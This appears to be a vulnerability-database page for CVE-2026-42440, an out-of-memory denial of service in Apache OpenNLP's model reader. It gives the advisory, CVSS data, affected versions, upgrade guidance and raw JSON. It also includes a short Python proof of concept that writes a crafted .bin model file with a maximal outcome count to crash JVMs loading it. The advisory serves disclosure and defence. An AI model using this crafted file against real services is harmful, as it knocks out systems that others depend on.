Security Vulnerability Report
中文
CVE-2026-42440 CVSS 7.5 HIGH

CVE-2026-42440

Published: 2026-05-04 17:16:26
Last Modified: 2026-05-06 18:09:43

Description

OOM Denial of Service via Unbounded Array Allocation in Apache OpenNLP AbstractModelReader  Versions Affected:  before 2.5.9 before 3.0.0-M3  Description: The AbstractModelReader methods getOutcomes(), getOutcomePatterns(), and getPredicates() each read a 32-bit signed integer count field from a binary model stream and pass that value directly to an array allocation (new String[numOutcomes], new int[numOCTypes][], new String[NUM_PREDS]) without validating that the value is non-negative or within a reasonable bound. The count is therefore fully attacker-controlled when the model file originates from an untrusted source. A crafted .bin model file in which any of these count fields is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) triggers an OutOfMemoryError at the array allocation itself, before the corresponding label or pattern data is consumed from the stream. The error occurs very early in deserialization: for a GIS model, getOutcomes() is reached after only the model-type string, the correction constant, and the correction parameter have been read; so the attacker pays no meaningful size cost to weaponize a payload, and a single small file can crash a JVM that loads it. Any code path that deserializes a .bin model is affected, including direct use of GenericModelReader and any higher-level component that delegates to it during model load. The practical impact is denial of service against processes that load model files from untrusted or semi-trusted origins.   Mitigation: * 2.x users should upgrade to 2.5.9. * 3.x users should upgrade to 3.0.0-M3. Note: The fix introduces an upper bound on each of the three count fields, checked before array allocation; counts that are negative or exceed the bound cause an IllegalArgumentException to be thrown and the read to fail fast with no large allocation. The default bound is 10,000,000, which is well above the entry counts of legitimate OpenNLP models but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load models with more entries than the default can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default. Users who cannot upgrade immediately should treat all .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:opennlp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:opennlp:3.0.0:m1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:opennlp:3.0.0:m2:*:*:*:*:*:* - VULNERABLE
Apache OpenNLP < 2.5.9
Apache OpenNLP >= 3.0.0-M1, < 3.0.0-M3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Create a malicious Apache OpenNLP .bin model file to trigger CVE-2026-42440 # Vulnerability: Unbounded array allocation in AbstractModelReader.getOutcomes() # Structure for GIS model: Type(String), Correction Constant(Double), Correction Parameter(Double), Outcome Count(Int) def craft_poc(filename): with open(filename, 'wb') as f: # 1. Model type: "GIS" (2 bytes big-endian length + bytes) model_type = b'GIS' f.write(struct.pack('>H', len(model_type))) f.write(model_type) # 2. Correction constant (Double, big-endian) f.write(struct.pack('>d', 1.0)) # 3. Correction parameter (Double, big-endian) f.write(struct.pack('>d', 0.1)) # 4. Outcome Count (Integer, big-endian) - MALICIOUS INPUT # Setting this to Integer.MAX_VALUE triggers OutOfMemoryError during array allocation # in AbstractModelReader.getOutcomes() -> new String[numOutcomes] max_int = 2147483647 f.write(struct.pack('>i', max_int)) print(f"[+] Malicious model file created: {filename}") print("[+] Load this file in Apache OpenNLP < 2.5.9 to trigger the DoS.") if __name__ == "__main__": craft_poc("exploit_opennlp.bin")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42440", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:26.147", "lastModified": "2026-05-06T18:09:43.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OOM Denial of Service via Unbounded Array Allocation in Apache OpenNLP AbstractModelReader \n\nVersions Affected: \n\nbefore 2.5.9\n\nbefore 3.0.0-M3 \n\nDescription:\n\n\nThe AbstractModelReader methods getOutcomes(), getOutcomePatterns(), and getPredicates() each read a 32-bit signed integer count field from a binary model stream and pass that value directly to an array allocation (new String[numOutcomes], new int[numOCTypes][], new String[NUM_PREDS]) without validating that the value is non-negative or within a reasonable bound. The count is therefore fully attacker-controlled when the model file originates from an untrusted source.\n\n\nA crafted .bin model file in which any of these count fields is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) triggers an OutOfMemoryError at the array allocation itself, before the corresponding label or pattern data is consumed from the stream. The error occurs very early in deserialization: for a GIS model, getOutcomes() is reached after only the model-type string, the correction constant, and the correction parameter have been read; so the attacker pays no meaningful size cost to weaponize a payload, and a single small file can crash a JVM that loads it. Any code path that deserializes a .bin model is affected, including direct use of GenericModelReader and any higher-level component that delegates to it during model load.\n\n\nThe practical impact is denial of service against processes that load model files from untrusted or semi-trusted origins.  \n\n\nMitigation:\n\n\n\n * 2.x users should upgrade to 2.5.9.\n\n * 3.x users should upgrade to 3.0.0-M3.\n\n\n\n\nNote: The fix introduces an upper bound on each of the three count fields, checked before array allocation; counts that are negative or exceed the bound cause an IllegalArgumentException to be thrown and the read to fail fast with no large allocation. The default bound is 10,000,000, which is well above the entry counts of legitimate OpenNLP models but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load models with more entries than the default can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default.\n\n\nUsers who cannot upgrade immediately should treat all .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:opennlp:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.9", "matchCriteriaId": "3E73109B-BF5E-4832-B5DC-1747D3C42287"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:opennlp:3.0.0:m1:*:*:*:*:*:*", "matchCriteriaId": "57E14048-91DB-4673-9A7B-B15675B3994A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:opennlp:3.0.0:m2:*:*:*:*:*:*", "matchCriteriaId": "2E738486-C0BD-4FDB-8880-DBC2BA4C0D77"}]}]}], "references": [{"url": "https://lists.apache.org/thread/s8xlkx1gqbxfsq48py5h6jphjvgqp1jo", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/21", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}